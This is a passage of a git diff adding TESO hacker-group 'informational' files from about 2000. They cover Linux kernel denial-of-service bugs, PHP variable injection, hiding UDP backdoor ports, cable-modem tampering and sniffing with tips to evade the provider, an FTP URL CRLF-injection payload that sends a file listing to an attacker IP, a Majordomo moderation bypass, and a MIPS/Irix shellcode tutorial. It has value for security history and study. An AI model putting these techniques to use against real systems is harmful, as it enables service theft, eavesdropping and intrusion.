69hacker deathmatch by the ADM team to disable team TESO's network functionality.
70Evidence is pretty strong on this.
71
72
732.1.89 - 2.2.3 zero length fragment bug
74
75This vulnerability within the Linux kernels has been found by horizon on
761999/03/24. The bug allows an attacker to remotely cripple the IP stack of the
77Linux kernel by filling a kernel-internal list of pending IP fragments, which
78wait for reassembly. While filling this list alone doesn't affect the IP stack
79very much there is a implementation bug that allows the attacker to create a
80IP fragment list entry that is "stranded": the Linux kernel will never free it
81anymore. The list is limited to 4096 entries hence creating that many entries
82will result in completely disabled IP functionality for that computer.
83The actual exploitation requires an attacker to send three packets per created
84entry. The first packet is a fragment at offset zero with a defined length (x)
85and the IP More Fragments flag set. The second packet is a zero length fragment
86at offset zero, where the IP header length is equal to the IP total length and
87the IP More Fragments flag is set too. The third packet is a fragment at offset
88x (length of first fragment data) without having IP More Fragments flag set.
89This creates one stranded fragment. A public exploit called sesquipedalian.c is
90available.
91
92
93<= 2.2.9 bogus IP options
94
95All Linux kernels up to and including 2.2.9 have a implementation bug of the IP
96options parsing. When an IP packet with bogus IP options is experienced the
97Linux kernel erroneously releases the allocated memory two times, which causes
98memory corruption and under worst circumstances system crashes (kernel panics).
99There is a public exploit linux-icmp.c, which sends partly random packets
100resulting in a small percentage of invalid packets that will trigger this
101vulnerability. However, a public exploit which exploits the vulnerability in an
102exact way is not available. The vulnerability was made public around 1999/06/01.
103
104
1052.2.x (possibly others) unknown, cause kernel hung (?)
106
107There is a remotely exploitable denial of service vulnerability in the latest
108Linux 2.2.x systems. Evidence is strong that TESO's webserver as well as two
109other TESO related boxes have been taken down with this some month ago.
110However, there are no further informations on this.
111
112
113===============================================================================
114
diff --git a/informationals/teso-i0015.txt b/informationals/teso-i0015.txt
new file mode 100644
index 0000000..e3ed9d9
--- /dev/null
+++ b/informationals/teso-i0015.txt
@@ -0,0 +1,45 @@
10015 2000/02/19 Possible security weakness in implementation of PHP3 scripts
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: set values for PHP variables from URL handler
8Date .................: 2000/01/19 00:01
9Author ...............: hendy
10Publicity level ......: unknown?
11Affected .............: PHP3 scripting engine, possibly other scripting
12 languages
13Type of entity .......: PHP(3)
14Severity/Importance ..: low
15Found by .............: hendy
16
17Information ===================================================================
18
19In PHP it is possible to supply 'external' variables via HTTP POST or GET
20methods which is useful for html-forms or something. the weakness in this
21implementation is that anybody can easily set values for variables.
22for example you can request
23
24http://teso.scene.at/index.php3?foo=bar
25
26within the PHP script index.php3 there will be the variable $foo with value
27bar. this should be no real problem, because usually coders initialize
28variables in the program if they first use it. but there are some exceptions
29where (lazy?) coders often do
30
31while(bleh)
32{
33 $foo = $foo . $bar;
34 ...
35}
36
37so you could insert code into the variable $foo now. such loops are for example
38used for dynamically making mysql query code, you can insert your own code
39then, exploiting the backend database.
40
41there is one point which is still very difficult: whats the name of the
42variable(s) used, and for what. i dont have a solution for that, sorry. brute
43force and a bit brain is the best solution IMHO ;)
44
45===============================================================================
diff --git a/informationals/teso-i0016.txt b/informationals/teso-i0016.txt
new file mode 100644
index 0000000..d233b81
--- /dev/null
+++ b/informationals/teso-i0016.txt
@@ -0,0 +1,47 @@
10016 2000/02/23 Trick to hide UDP ports, trick to discover this
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: Trick to hide UDP ports, trick to discover this
8Date .................: 2000/02/23 18:00
9Author ...............: scut
10Publicity level ......: unknown
11Affected .............: UDP/IP stack
12Type of entity .......: implementation
13Type of discovery ....: useful information
14Severity/Importance ..: low
15Found by .............: scut
16
17Information ===================================================================
18
19Many hacking tools operate as an UDP daemon, which listens on a UDP port for
20messages. Usually this open UDP ports are easily discovered through a simple
21UDP port scan. However, most hackers try to avoid detection by using a high
22port number which won't be scanned usually.
23
24 There is a better method of hiding UDP ports, by copying the behaviour of a
25closed UDP port: Just send a ICMP Port Unreachable packet each time a packet
26is received on the port. To do this you have to call an ICMP send routine
27directly after you have received an UDP packet. This ICMP send routine has to
28craft a Unreachable packet similar to the one the system would create and send
29it back to the source IP of the received UDP packet.
30
31While this looks very stealthy it has a really cool flaw which is easy to
32oversee. Every IP packet, hence the ICMP packet too has to have an IP ID,
33which is linear on most systems. If you just fill in a random one in the ICMP
34packet you generate, your port can still be detected. To do this one will
35sequentially scan all UDP ports and collect all received ICMP unreachable
36packets. Then your artificial ICMP packets will be those which don't match
37into the mostly linear IP ID's of the other ICMP packets.
38
39To avoid detection completely on a system whose kernel generates linear IP ID's
40you have to aquire the current IP ID before sending a bogus ICMP packet. This
41can be discovered remotely too, if you get the ID by sending a packet to a UDP
42port yourself and watch the IP ID in the ICMP unreachable packet send back to
43you: An IP ID increment value of two instead of one will be observed. To do
44this right a direct access to the current IP ID is required.
45
46===============================================================================
47
diff --git a/informationals/teso-i0017.txt b/informationals/teso-i0017.txt
new file mode 100644
index 0000000..40c621a
--- /dev/null
+++ b/informationals/teso-i0017.txt
@@ -0,0 +1,195 @@
10017 2000/02/25 Information on how to exploit Lancity cablemodems
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: Cablemodems from Lancity are funny.
8Date .................: 2000/02/25 00:00
9Author ...............: zap
10Publicity level ......: unknown
11Affected .............: LCPet10, probably the whole product-family
12Type of entity .......:
13Type of discovery ....:
14Severity/Importance ..: medium, since not usable by script-kiddies
15Found by .............: zap
16
17Prelude =======================================================================
18
19Lancity Cablemodems are very popular amongst cablenet-providers.
20At least in Austria they are used almost everywhere.
21
22When I started investigating the ugly thing under my desk I found it very hard
23to gain ANY information about these modems, nowadays sold by Nortel Networks.
24
25I've been in my town's cablenet for about a year which is operated by not very
26competent persons, so this information might not be of any or limited use
27in professionally administrated environments.
28
29Basics ========================================================================
30
31The modem uses the very primitive "Internet Boot Protocol" (RFC951, bootpd(8))
32for gaining basic network information like IP-address, netmask, bootserver and
33so on.
34
35From the bootserver it downloads it's configuration-file (RFC1533) via TFTP
36(RFC783, tftp(1), tftpd(8)) which contains a MD5-digest generated from a
3764-byte key. It might also download a upgrade-file after that.
38
39This generally happens on power-up, although I have found my pet reconfiguring
40itself after a while occasionally.
41
42The configuration-file contains information about Tx/Rx-frequencies, bandwidth,
43SNMP-manager-IP's, client-IP's/MAC's, SNMP-community-names and so on.
44
45After the modem is up & running it accepts SNMP-commands from IP's listed as
46managers.
47
48Let's party ...
49
501. SNMP-managing your modem ===================================================
51
52Since the SNMP used doesn't use another authentication than the IP-address and
53the SNMP-community-name (which is often something like 'private'), it's easy
54to modify and read some interesting values, where most of them are related to
55filters. Some networks allow IP only so it's not possible to use other
56protocols such as IPX (lots of games) - this behaviour can be changed.
57
58Note that it's generally a good idea to disconnect the modem from the rest of
59the net while doing this because the manager is very often a Windows-box which
60are known to start crying upon a IP-conflict - causing a perceived IP-conflict
61would be like calling your provider and telling him that you're having fun with
62your modem.
63
64However if you're sure nothing will happen you can also change the settings
65of other modems.
66
67Finding a manager-IP is quite easy (at least in my case, I'm not sure if it's
68the same everywhere), just watch the network-traffic: If there is some host
69which is periodically pinging modems it is a manager.
70Use it's IP (and eventually MAC) to SN-manage your modem.
71
72IMHO this should work in most of the cases, let's get to something
73really interesting:
74
752. Configuring your modem from ground-up ======================================
76
77As I said, the configuration-files contains a MD5-digest.
78I have found some providers using the default-key that comes with the lc-modems
79(including my provider), so I assume that this is a fact (let me know if I'm
80wrong). I have tried to change my modem's key once and I didn't succeed -
81maybe it ain't possible at all? (not likely)
82
83If you're able to produce a valid config-file for your modem you can do magic
84things like expanding your modem's bandwidth to 10mbit, increasing your net-
85work priority and so on.
86
87Let's assume you've got your modems "secret" key for now.
88
89You'll need a config-file (no matter if cleartext or binary, since you can
90decode the binaries) used in your network.
91
92Attempt to tftp to the manager and request files like 1.cfg, 1.md5, test.md5
93and so on; Be creative.
94The file-naming depends on your provider, but they most likely use some
95file-name which is somehow related to your ip, your name, your modem's ip or
96something. You don't actually need _your_ configuration, any would do.
97Some also run quite braindead TFTP-daemons, try to request ../autoexec.bat
98for example - if this works you might be able to retrieve other useful
99information (as for example the non-standard key!).
100
101Another way would be to try sniffing TFTP-requests from your or other modems
102to find out filenames, try unplugging the network-side while your modem is
103booting (check the leds) and see if it sends the request to your side.
104
105If your modem requests a file like '212.md5' chances are big that you'll be
106able to request '212.cfg' from the manager's tftpd (although you don't
107necessarily need the cleartext-file).
108
109Once you got the needed information, download the modem's update-file from the
110manager (if mentioned in the cfg) via TFTP, build a valid config-file, encode it
111and try to feed it to your modem:
112
113Configure a bootpd-server (see bootpd(8)), edit your bootptab (see bootptab(5)),
114set up your tftpd and copy the needed files there.
115
116The bootptab-entry for my modem looked like this:
117
118mypet:ht=ether:ha=0000CA066166:bf=mypet.md5:ip=10.10.0.15:sm=255.0.0.0:to=3600:sa=10.0.0.58
119
120ha: ethernet-address, you'll get this by watching the network-traffic
121bf: md5-encoded bootfile
122ip: your modem's ip (use the ip your provider gave your modem!!)
123sm: subnet-mask
124to: timeout
125sa: tftp-server to be used (your box!)
126
127I noticed that my modem always prepended the bootfile-name with a '/', so the
128tftpd-server didn't serve the file the modem wanted, however a small hack to
129tftpd made this work.
130
131Once you get this running (watch the LEDs) you've won. You can modify the
132modem's behaviour to your wishes.
133
134Once again, DON'T CHANGE your modem's or your ip-address. Even if you've got
135dumb administrators they will catch you someday (I can tell from experience).
136Another good idea is NOT to open your modem (=breaking the seal) cause even
137if they get suspicious and want the modem back they won't be able to prove that
138you've manipulated the modem.
139
140Pretty wild, but let's push it a little further...
141
1423. Making your modem half-promicious ==========================================
143
144This one is quite tricky.
145It's very important that your modem forwards any data with any MAC&IP-address
146from your side to the network - this can be easily done by reconfiguring your
147modem (set MaxNodes > 1, ClientEnetAddr & ClientIpAddr to all 0's).
148I might have used a special sniff-configuration where the gateway and my box
149were the only allowed clients - I can't clearly remember this, you'll have to
150try both variations.
151
152Ok, this is how it's done:
153
154- Power-off the modem
155
156- Start sending some data (I think I used ICMP-pings) with the *SAME* MAC
157 and IP as the gateway (or the host you want to sniff) has
158
159- Power-on the modem
160
161- Configure it as described in 2.
162
163- Stop sending data after a while
164
165I remember that the timing was very vital to perform this correctly! If it
166works you'll immediately see LOTS of network-traffic.
167
168My theory on how this works:
169The modem communicates with a so-called Head-End-Controller (read the Lancity-
170docs) and it tells the controller which IP and MAC (I think the MAC is
171essential) it's client(s) has. The controller routes all the stuff for this MAC
172to your segment, where your modem will again route it thankfully to you.
173
174This is why I call it "half-promicious" - you'll only get the stuff that other
175clients send to the gateway, not the other direction.
176However one way of the traffic is enough to sniff. Simply patch tcpdump a
177little to log anything you've ever wanted to know about your neighbours.
178
179In a earlier state of investigation I found out that sending faked ARP-queries
180(you, with the same MAC & IP as the gateway, want to know the MAC of some dummy
181host) made the modem route stuff on the cable destinating to the gateway
182to you. The disadvantage is that you'll only get stuff which is on your segment
183only and this might be very little interesting data.
184
185Appendix ======================================================================
186
187This document might be slightly inaccurate, but it all worked for me.
188I'm very curious about feedback, corrections and clarifications.
189The needed files (cfg-file-en/decoder, snmp-vars-documentation, general lcpet-
190documentation, patched tftpd, default-key, sample-cfg's etc.) should be
191available as teso-lancity-x.x.tar.gz in teso's internal file-area.
192
193Have fun.
194
195===============================================================================
diff --git a/informationals/teso-i0018.txt b/informationals/teso-i0018.txt
new file mode 100644
index 0000000..61fcb6b
--- /dev/null
+++ b/informationals/teso-i0018.txt
@@ -0,0 +1,74 @@
10018 2000/03/11 Exploiting FTP URL parsing within web browsers
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: Exploiting FTP URL parsing within web browsers
8Date .................: 2000/03/11 19:00
9Author ...............: scut
10Publicity level ......: known
11Affected .............: Web browsers which parse FTP URLs in HTML tags
12Type of entity .......: implementation
13Type of discovery ....: useful information
14Severity/Importance ..: low
15Found by .............: bugtraq readers
16
17Information ===================================================================
18
19Common web browsers such as Netscape Navigator and Microsoft Internet Explorer
20have the ability to download files using the FTP file transfer protocol. It is
21also possible to use an FTP URL as source address for binary files such as
22images or other objects included within a HTML file.
23
24However, the URL encoding scheme allows one to use encoded characters within
25the URL, such as "%20" which means the character '\x20', which is a space. All
26characters are allowed, no filtering takes place.
27
28Therefore it's possible to use the FTP protocol command separator character
29sequence which happens to be (CR, LF) too. This way arbitrary commands can be
30executed on the FTP server the URL uses.
31
32Example:
33
34<img src="ftp://ftp.cdrom.com/foobar.gif%0d%0aHELP">
35
36This URL within the "src" parameter is translated by the browser (Netscape
37Navigator in this case) to:
38
39USER anonymous
40PASS mozilla@
41REST 0
42SYST
43PASV
44TYPE I
45SIZE /foobar.gif
46HELP
47
48The SIZE command uses the user supplied filename, which happens to be
49"/foobar.gif\x0d\x0aHELP" and appends a CR,LF sequence to it, resulting in an
50extra FTP command "HELP" being executed.
51
52We can exploit this in several ways. One way would be to launch a denial of
53service attack using this technique. To do this one would inject a few of this
54modified FTP URLs into a high traffic web site which has lots of visitors. The
55URLs would contain PORT commands to create a connection to another site and
56then transfer a big file from the server to it.
57
58In a similar way we can exploit IP based trust relationships. Given the
59situation that user "joe" from company A uses an anonymous company internal ftp
60server "private" to access his files. We know his email client is able to read
61HTML emails, then we could inject a link such as:
62
63<img lowsrc="http://blabla.com/transparent.gif"
64 src="ftp://private/foobar.gif%0d%0aPORT%20123,124,125,126,10,0%0d%0aNLST">
65
66Where 123.124.125.126 is our IP with a listening TCP socket on port 2560
67(10 * 256 + 0). We would receive a listing of the files in the "/" directory
68once "joe" reads this mail. Since the "/foobar.gif" doesn't exist on "private"
69his email client would use the "lowsrc" parameter, which can be a 1x1 pixel
70dummy image to avoid detection. Also the whole URL can be encoded for
71further obfuscation.
72
73===============================================================================
74
diff --git a/informationals/teso-i0019.txt b/informationals/teso-i0019.txt
new file mode 100644
index 0000000..9ce06b9
--- /dev/null
+++ b/informationals/teso-i0019.txt
@@ -0,0 +1,34 @@
10019 2000/03/21 Majordomo include inconveniences
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: Majordomo include inconveniences
8Date .................: 2000/03/21 19:26
9Author ...............: typo
10Publicity level ......: well known
11Affected .............: Mailing Lists
12Type of entity .......: implementation
13Type of discovery ....: useful information
14Severity/Importance ..: medium
15Found by .............: everyone?
16
17Information ===================================================================
18
19Most people that use Majordomo with the rules imposed by the resend script
20use another, supposed to be secret, MTA include for the real outgoing mails
21instead of a dedicated bulk mailer.
22
23But if you know the name of the real include you can simply bypass all
24rules that resend enforces.
25
26Lets take a reallife example and look at some headers:
27
28Received: (from majordomo@localhost) by kxxxxxxaxxe.org (8.9.3/8.9.3)
29id QAA21181 for linuxde-outgoing; Tue, 21 Mar 2000 16:30:36 +0100
30
31the real name is linuxde-outgoing.. mails sent there can be of
32arbitary size, and bypass moderation, headers, footers, banned words,...
33
34===============================================================================
diff --git a/informationals/teso-i0020.txt b/informationals/teso-i0020.txt
new file mode 100644
index 0000000..e862a7e
--- /dev/null
+++ b/informationals/teso-i0020.txt
@@ -0,0 +1,669 @@
10020 2000/03/29 Writing MIPS/Irix shellcode
2
3==== TESO Informational =======================================================
4This piece of information is to be kept confidential.
5===============================================================================
6
7Description ..........: Writing MIPS/Irix shellcode
8Date .................: 2000/03/29 17:00
9Author ...............: scut
10Publicity level ......: known
11Affected .............: MIPS/Irix shellcode
12Type of entity .......: technique
13Type of discovery ....: useful information
14Severity/Importance ..: low
15Found by .............: Last Stage of Delirium, DCRH, scut
16
17===============================================================================
18
19Writing shellcode for the MIPS/Irix platform isn't much different then writing
20shellcode for the x86 architecture. But there are a few tricks and things to
21obey when attempting to make clean shellcode, which doesn't have any NUL bytes
22and works completely independent from it's position.
23
24This small paper will provide you a crash course on writing IRIX shellcode for
25use in exploits. It covers the basic stuff you need to know to start away
26writing basic IRIX shellcode. It is divided into the following sections:
27
28 The IRIX operating system
29 MIPS architecture
30 MIPS instructions
31 MIPS registers
32 The MIPS assembly language
33 High level language function representation
34 Syscalls and Exceptions
35 IRIX syscalls
36 Common constructs
37 Tuning the shellcode
38 Example shellcode
39 References
40
41
42The IRIX operating system
43=========================
44
45The Irix operating system has been developed independently by Silicon Graphics
46and is UNIX System V.4 compliant. It has been designed for MIPS CPU's, which
47have a unique history and have pioneered 64bit- and RISC-technology. The
48current Irix version is 6.5.7. There are two major versions, called feature
49(6.5.7f) and maintenance (6.5.7m) release, from which the feature release is
50focused on new features and technologies and the maintenance release on bug
51fixes and stability. All modern Irix platforms are binary compatible and this
52shellcode discussion and the example shellcodes have been tested on over half a
53dozen different Irix computer systems.
54
55
56MIPS architecture
57=================
58
59First of all you have to have some basic knowledge about the MIPS CPU
60architecture. There are a lot of different types of the MIPS CPU, the most
61common are the R4x00 and R10000 series, which share the same instruction set.
62The MIPS CPU' are typical RISC CPU's, that means they have a reduced
63instruction set with less instructions then CISC CPU's, such as x86. The main
64concept of RISC CPU's is a tradeoff between simplicity and concurrency: There
65are less instructions, but the existing ones can be executed fast and in
66parallel. Because of this small number of instructions there is less redundancy
67per instruction, some things can only be done using a single instruction, while
68on CISC CPU's it is possible in many ways utilizing many different
69instructions. This also results in MIPS machine code being larger, since often
70multiple instructions are required to accomplish things CISC CPU's are able to
71do with one instruction.
72 But this does not mean that multiple instructions also result in slower code.
73This is a matter of overall execution speed, which is extremely high because
74of the parallel execution of the instructions.
75 On MIPS CPU's the concurrency is very advanced, the CPU has a pipeline with
76five slots, which means five instructions are processed in parallel and every
77instruction has five stages, from the initial IF pipestage (instruction fetch)
78to the last, the WB pipestage (write back).
79
80Because the instructions within the pipeline overlap there are some "anomalies"
81that have to be considered when writing MIPS machine code:
82
83 - there is a branch delay slot, where one instruction after the branch
84 (or jump) instruction is still in the pipeline and executed
85 - the return address for subroutines ($ra) and syscalls (C0_EPC) points
86 not to the instruction after the branch/jump/syscall instruction but to
87 the instruction after the branch delay slot instruction
88 - since every instruction is divided into five pipestages the MIPS design
89 has reflected this on the instructions itself: every instruction is
90 32 bits broad (4 bytes), and can be divided most of the times into
91 segments which correspond with each pipestage
92
93
94MIPS instructions
95=================
96
97MIPS instructions are not just 32 bit long each, they often share a similar
98mapping too. An instruction can be divided into the following sections:
99
100 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
101 31302928272625242322212019181716151413121110 9 8 7 6 5 4 3 2 1 0
102 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
103 | op | sub-op |xxxxxxxxxxxxxxxxxxxxxxxxxxxxx| subcode |
104 +-----------+---------+-----------------------------+-----------+
105
106The "op" field denotes the 6bit long primary opcode. Some instructions, such
107as long jumps (see below) have a unique code here, the rest are grouped by
108function. The "sub-op" section, which is five bytes long can represent either
109a specific sub opcode as extension to the primary opcode or can be a register
110block. A register block is always 5 bits long and selects one of the CPU
111registers for an operation. The subcode is the opcode for the arithmetic and
112logical instructions, which have a primary opcode of zero.
113
114 The logical and arithmetic instructions share a RISC-unique attribute: They
115don't work with two registers, such as common x86 instructions, but they use
116three registers, named "destination", "target" and "source". This allows more
117flexible code to be written, if you still want CISC type instructions, such
118as "add %eax, %ecx", just use the same destination and target register for the
119operation.
120
121A typical MIPS instruction looks like:
122
123 or a0, a1, t4
124
125which is easy to represent in C as "a0 = a1 | t4". The order is almost every
126time equivalent to a simple C expression. For the complete list of instructions
127see either [1] or [2].
128
129
130MIPS registers
131==============
132
133For the MIPS registers, it has plenty of 'em. Since we already know registers
134are addressed using a 5 bit block, there must be 32 registers, and yes, we're
135right, there are the registers $0 to $31. They are all alike except for $0 and
136$31. For $0 the case is very simple: No matter what you do to the registers,
137it always contains zero. This is practical for a lot of arithmetic instructions
138and can results in elegant code design. The $0 register has been assigned the
139symbolic name $zero, guess why :-)
140 For the $31 register, it's also called $ra, for "return address". Why should
141a register ever contain a return address if there is such a nice thing as a
142stack to store it, how should recursion be handled otherwise ? Well, the short
143answer is, there is no real stack and yes it works.
144 For the longer answer we will discuss shortly what happens when a function is
145called on a RISC CPU. When this is done a special instruction called "jal" is
146used. This instruction overwrites the content of the $ra ($31) register with
147the appropriate return address and then jumps to an arbitrary address. The
148called function however sees the return address in $ra and once finished just
149jumps back (using the "jr" instruction) to the return address. But what if the
150function wants to to call functions too ? Then there is a stack like segment
151it can store the return address on, later restore it and then continue to work
152as usual.
153 Why "stack like" ? Because there is only a stack by convention, any register
154may be used to behave like a stack. There are no push or pop instructions
155however, the register has to be adjusted manually. The "stack" register is $29,
156symbolically referenced as $sp.
157 Are there other register conventions ? Yes, nearly as many as registers
158itself. For the sake of completeness here is a small listing:
159
160 $0 $zero always contains zero
161 $1 $at is used by assembler (see below), do not use
162 $2-$3 $v0, $v1 subroutine return values
163 $4-$7 $a0-$a3 subroutine arguments
164 $8-$15 $t0-$t7 temporary registers, may be overwritten by subroutine
165 $16-$23 $s0-$s7 subroutine registers, have to be saved by called function
166 before they may be used
167 $24,$25 $t8, $t9 temporary registers
168 $26,$27 $k0, $k1 interrupt/trap handler reserved registers, do not use
169 $28 $gp global pointer, used to access static and extern variables
170 $29 $sp stack pointer
171 $30 $s8/$fp subroutine register, commonly used as a frame pointer
172 $31 $ra return address
173
174
175The MIPS assembly language
176==========================
177
178Because the instructions are relatively primitive but programmers often want to
179accomplish more complex things, the MIPS assembly language works with a lot of
180macro instructions. They provide sometimes really necessary operations such as
181subtracting a number from a register (which is converted to a signed add by the
182assembler) to complex macros, such as finding the remainder for a division.
183But the assembler does a lot more then providing macros for common operations.
184We already mentioned the pipeline where instructions are processed in parallel.
185The execution often directly depends on the order within the pipeline, because
186the registers accessed with the instructions are written back in the last
187pipestage, the WB (write-back) stage and cannot be accessed before by other
188instructions. For old MIPS CPU's the MIPS abbreviation is true when saying
189"Microcomputer without Interlocked Pipeline Stages", you just cannot access the
190register in the instruction directly following the one that modifies this
191register. Nearly all MIPS CPU's currently in use do have a interlock though,
192they just wait until the data from the instruction is written back to the
193register before allowing the following instruction to read it.
194 In practice you only have to worry when writing very low level assemble code,
195such as shellcode :-), because most of the times the assembler will reorder and
196replace your instructions so that they exploit the pipelined architecture at
197best. You can turnoff the reordering and macros in any MIPS assembler if you
198want to.
199
200The MIPS CPU's and RISC CPU's altogether weren't designed for easy assembly
201language programming. It is more difficult to program a RISC CPU in assembly
202then any CISC CPU. Even the first sentences of the MIPS Pro Assembler Manual
203from the MIPS corporation recommend to use MIPS assembly language only for
204hardware near routines or operating system programming. In most cases a good
205C compiler, such as the one SGI developed will optimize the pipeline and
206register usage way better then any programmer might do this in assembly.
207However, when writing shellcodes we have to face the bare machine code and
208have to write size optimized code which doesn't contain any NUL bytes. A
209compiler might use large code to unroll loops or to use faster constructs.
210
211
212High level language function representation
213===========================================
214
215 A normal C function can be represented very easily in MIPS assembly most of
216the times. You have to differentiate between leaf and non-leaf functions. A
217non-leaf function is a function that does not call any other functions. Such
218functions do not need to store the return address on the stack, but keep it in
219$ra for the whole time. The arguments to a function are stored by the calling
220function in $a0, $a1, $a2 and $a3. If this space isn't enough extra stack space
221is used, but in most cases the registers suffice. The function may return two
22232bit values through the $v0 and $v1 registers. For temporary space the called
223function may use the stack referenced by $sp. Also registers are commonly saved
224on the stack and later restored from it. The stack usually starts at 0x80000000
225and grows towards small addresses. It is very similar to the stack of a x86
226system.
227
228
229Syscalls and Exceptions
230=======================
231
232On a typical Unix system there are only two modes the current execution can
233happen in: The user and the kernel mode. In most modern architectures this
234modes are directly supported by the CPU. The MIPS CPU has this two modes plus
235an extra mode called "supervisor mode". It was requested by engineers at DEC
236for their new range of Workstations when the MIPS R4000 CPU was designed. Since
237the VMS/DEC market was important to MIPS they implemented this third mode at
238DEC's request to allow the VMS operating system to be run on the CPU. However,
239DEC decided later to develop their own CPU, the Alpha CPU and the mode
240remained unused.
241
242 Back to the execution modes, on current operating systems designed for the
243MIPS CPU only the kernel and user mode is being used. To switch from the user
244mode to the kernel mode there is a mechanism called "exceptions". Whenever
245a user space process wants to let the kernel to do something or whenever the
246current execution can't be successfully continued the control is passed to the
247kernel space exception handler.
248
249 For shellcode construction we have to know that we can make the kernel
250execute important operating system related stuff like I/O operations through
251the syscall exception, which is triggered through the "syscall" instruction.
252The syscall instruction looks like:
253
254 syscall 0000.00xx xxxx.xxxx xxxx.xxxx xx00.1100
255
256Where the x's represent the syscall code, which is ignored on the Irix system.
257To avoid NUL bytes you can set those x-bits to arbitrary data.
258
259
260IRIX syscalls
261=============
262
263The following list covers the most important syscalls for use in shellcodes.
264After all registers have been appropiatly set the "syscall" instruction is
265executed and the execution flow is passed to the kernel.
266
267== accept
268 int accept (int s, struct sockaddr *addr, socklen_t *addrlen);
269
270 a0 = (int) s
271 a1 = (struct sockaddr *) addr
272 a2 = (socklen_t *) addrlen
273 v0 = SYS_accept = 1089 = 0x0441
274
275 return values
276
277 a3 = 0 success, a3 != 0 on failure
278 v0 = new socket
279
280== bind
281 int bind (int sockfd, struct sockaddr *my_addr, socklen_t addrlen);
282
283 a0 = (int) sockfd
284 a1 = (struct sockaddr *) my_addr
285 a2 = (socklen_t) addrlen
286 v0 = SYS_bind = 1090 = 0x0442
287
288 For the IN protocol family (TCP/IP) the sockaddr pointer points to a
289 sockaddr_in struct which is 16 bytes long and typically looks like:
290 "\x00\x02\xaa\xbb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
291 where aa is ((port >> 8) & 0xff) and bb is (port & 0xff).
292
293 return values
294
295 a3 = 0 success, a3 != 0 on failure
296 v0 = 0 success, v0 != 0 on failure
297
298== close
299 int close (int fd);
300
301 a0 = (int) fd
302 v0 = SYS_close = 1006 = 0x03ee
303
304 return values
305
306 a3 = 0 success, a3 != 0 on failure
307 v0 = 0 success, v0 != 0 on failure
308
309== execve
310 int execve (const char *filename, char *const argv [], char *const envp[]);
311
312 a0 = (const char *) filename
313 a1 = (chat * const) argv[]
314 a2 = (char * const) envp[]
315 v0 = SYS_execve = 1059 = 0x0423
316
317 return values
318
319 shouldn't return but replace current process with program, it only returns
320 in case of errors
321
322== fcntl
323 int fcntl (int fd, int cmd);
324 int fcntl (int fd, int cmd, long arg);
325
326 a0 = (int) fd
327 a1 = (int) cmd
328 a2 = (long) arg in case the command requires an argument
329 v0 = SYS_fcntl = 1062 = 0x0426
330
331 return values
332
333 a3 = 0 on success, a3 != 0 on failure
334 v0 is the real return value and depends on the operation, see fcntl(2) for
335 further information
336
337== listen
338 int listen (int s, int backlog);
339
340 a0 = (int) s
341 a1 = (int) backlog
342 v0 = SYS_listen = 1096 = 0x0448
343
344 return values
345
346 a3 = 0 on success, a3 != 0 on failure
347
348== read
349 ssize_t read (int fd, void *buf, size_t count);
350
351 a0 = (int) fd
352 a1 = (void *) buf
353 a2 = (size_t) count
354 v0 = SYS_read = 1003 = 0x03eb
355
356 return values
357
358 a3 = 0 on success, a3 != 0 on failure
359 v0 = number of bytes read
360
361== socket
362 int socket (int domain, int type, int protocol);
363
364 a0 = (int) domain
365 a1 = (int) type
366 a2 = (int) protocol
367 v0 = SYS_socket = 1107 = 0x0453
368
369 return values
370
371 a3 = 0 on success, a3 != 0 on failure
372 v0 = new socket
373
374The dup2 functionality isn't implemented as system call but as libc wrapper for
375close and fcntl. Basically the dup2 function looks like (simplified):
376
377int dup2 (int des1, int des2) {
378 int tmp_errno,
379 maxopen;
380
381 maxopen = (int) ulimit (4, 0);
382 if (maxopen < 0)
383 maxopen = OPEN_MAX;
384
385 if (fcntl (des1, F_GETFL, 0) == -1)
386 _setoserror (EBADF);
387
388 return -1;
389 }
390
391 if (des2 >= maxopen || des2 < 0) {
392 _setoserror (EBADF);
393
394 return -1;
395 }
396
397 if (des1 == des2)
398 return des2;
399
400 tmp_errno = _oserror();
401 close (des2);
402 _setoserror (tmp_errno);
403
404 return (fcntl (des1, F_DUPFD, des2));
405}
406
407So without the validation dup2 (des1, des2) can be rewritten as:
408 close (des2);
409 fcntl (des1, F_DUPFD, des2);
410
411Which has been done in the portshell shellcode below.
412
413
414Common constructs
415=================
416
417When writing shellcode there are always common operations, like getting the
418current address. Here are a few techniques that you can use in your shellcodes:
419
420== Getting the current address
421
422 li t8, -0x7350 /* load t8 with -0x7350 (leet) */
423foo: bltzal t8, foo /* branch with $ra stored if t8 < 0 */
424 slti t8, zero, -1 /* t8 = 0 (see below) */
425bar:
426
427Because the slti instruction is in the branch delay slot when the bltzal is
428executed the next time the bltzal won't branch and t8 will remain zero. $ra
429holds the address of the bar label when the label is reached.
430
431== Loading small integer values
432
433Because every instruction is 32 bits long you cannot immediately load a 32 bit
434value into a register but you have to use two instructions. Most of the times,
435however, you just want to load small values, below 256. Values below 2^16 are
436stored as 16 bit value within the instruction and values below 256 will result
437in ugly NUL bytes, that should be avoided in proper shellcodes. Therefore we
438use a trick to load such small values:
439
440loading zero into reg:
441 slti reg, zero, -1
442
443loading one into reg:
444 slti reg, zero, 0x0101
445
446loading small integer values into reg:
447 li t8, -valmod /* valmod = value + 1 */
448 not reg, t8
449
450For example if we want to load 4 into reg we would use:
451 li t8, -5
452 not reg, t8
453
454In case you need small values more then one time you can also store them into
455saved registers ($s0 - $s7, optionally $s8).
456
457== Moving registers
458
459In normal MIPS assembly you'd use the simple move instruction, which results in
460an "or" instruction, but in shellcode you have to avoid NUL bytes, and you can
461use this construction, if you know that the value in the register is below
4620xffff:
463 andi reg, source, 0xffff
464
465
466Tuning the shellcode
467====================
468
469I recommend that you write your shellcodes in normal MIPS assembly and
470afterwards start removing the NUL bytes from top to bottom. For simple load
471instructions you can use the constructs above. For essential instructions try
472to play with the different registers, in some cases NUL bytes may be removed
